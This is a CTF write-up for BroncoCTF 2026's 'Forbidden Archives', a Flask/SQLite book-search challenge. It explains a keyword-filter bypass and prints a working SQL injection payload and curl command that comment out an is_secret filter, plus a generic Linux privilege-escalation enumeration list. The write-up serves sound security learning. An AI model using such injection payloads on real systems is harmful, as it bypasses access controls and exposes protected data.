Forbidden Archives
Forbidden Archives
Platform: Broncoctf2026 | Category: Web | Type: Challenge | Difficulty: Easy | OS: NA | Author: D3v0o0Nu11 | Date: 2026-07-11 | Status: Solved Techniques: comment_based_filter_bypass, like_clause_breakout, sqlite_injection
Summary
Task: Flask+SQLite book search where a forbidden book is hidden via an is_secret=0 filter in the SQL WHERE clause. Solution: SQLi in the ?search= LIKE clause — close the parenthesis and comment out the is_secret filter with -- to reveal the secret book and its flag.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
broncoctf2026| ID:20260711_broncoctf2026_forbidden_archives - Tags: sqlite, sql_injection, flask, filter_bypass, access_control_bypass, web, comment_injection
- Indicators: single GET ?search= parameter, results filtered by an is_secret column, OR/UNION keywords stripped but comments allowed, Flask/Werkzeug backend with SQLite
- Source:
20260711_broncoctf2026_forbidden_archives.md
Foothold
Vulnerability / Misconfiguration
- Comment_based_filter_bypass
- Like_clause_breakout
- Sqlite_injection
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- comment_based_filter_bypass
- like_clause_breakout
- sqlite_injection
- Tags: sqlite, sql_injection, flask, filter_bypass, access_control_bypass, web, comment_injection
Original Writeup
<details><summary>Click to expand original content</summary>Forbidden Archives — broncoctf2026
Description
I have recently gained access to these Forbidden Archives, though I've been trying to access a book titled 'All of the World's Knowledge' and it seems like there's another level of security as the high council of wizards have made it forbidden. Is there a way I can get around that?
English summary: A Flask/Werkzeug book-search web app exposes a single GET parameter /?search=. One book, "All of the World's Knowledge", is marked forbidden and filtered out. The goal is to bypass that access control and read the book (which contains the flag).
Analysis
The site is a Flask/Werkzeug 3.1.8 app (Python 3.14.6) with a single GET search field /?search=. It queries a SQLite backend, and the query suffix is:
... LIKE '%<search>%') AND is_secret = 0 LIMIT 1
The forbidden book "All of the World's Knowledge" has is_secret = 1, so the AND is_secret = 0 clause filters it out of normal results. Authorization is enforced only in the SQL WHERE clause — there is no separate access-control check — which makes it bypassable through SQL injection.
The search parameter is directly interpolated into the LIKE expression, so it is injectable. Notes:
robots.txt,.git/HEAD,.envall returned 404 — no exposed source or config.OR- andUNION-based SQLi payloads were stripped/filtered by keyword filtering, so classic boolean/union injection did not work.- Jinja/SSTI probes were not fruitful.
The keyword filter blocks OR/UNION but does not block SQL comments, so a comment-based filter bypass works.
Solution
The payload closes the LIKE string and its parenthesis, then uses a SQL comment (-- ) to neutralize the trailing AND is_secret = 0 filter, returning all rows including the secret one.
Injected payload: Knowledge%') -- (note the trailing space after --, required for SQLite line comments).
Resulting query fragment:
LIKE '%Knowledge%') -- %') AND is_secret = 0 LIMIT 1
Everything after -- is a comment, so the is_secret filter is gone.
curl -sS --get \ --data-urlencode "search=Knowledge%') -- " \ 'https://broncoctf-forbidden-archives.chals.io/'
The response returns the book "All of the World's Knowledge" with the flag inside a <p> in the book card.
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR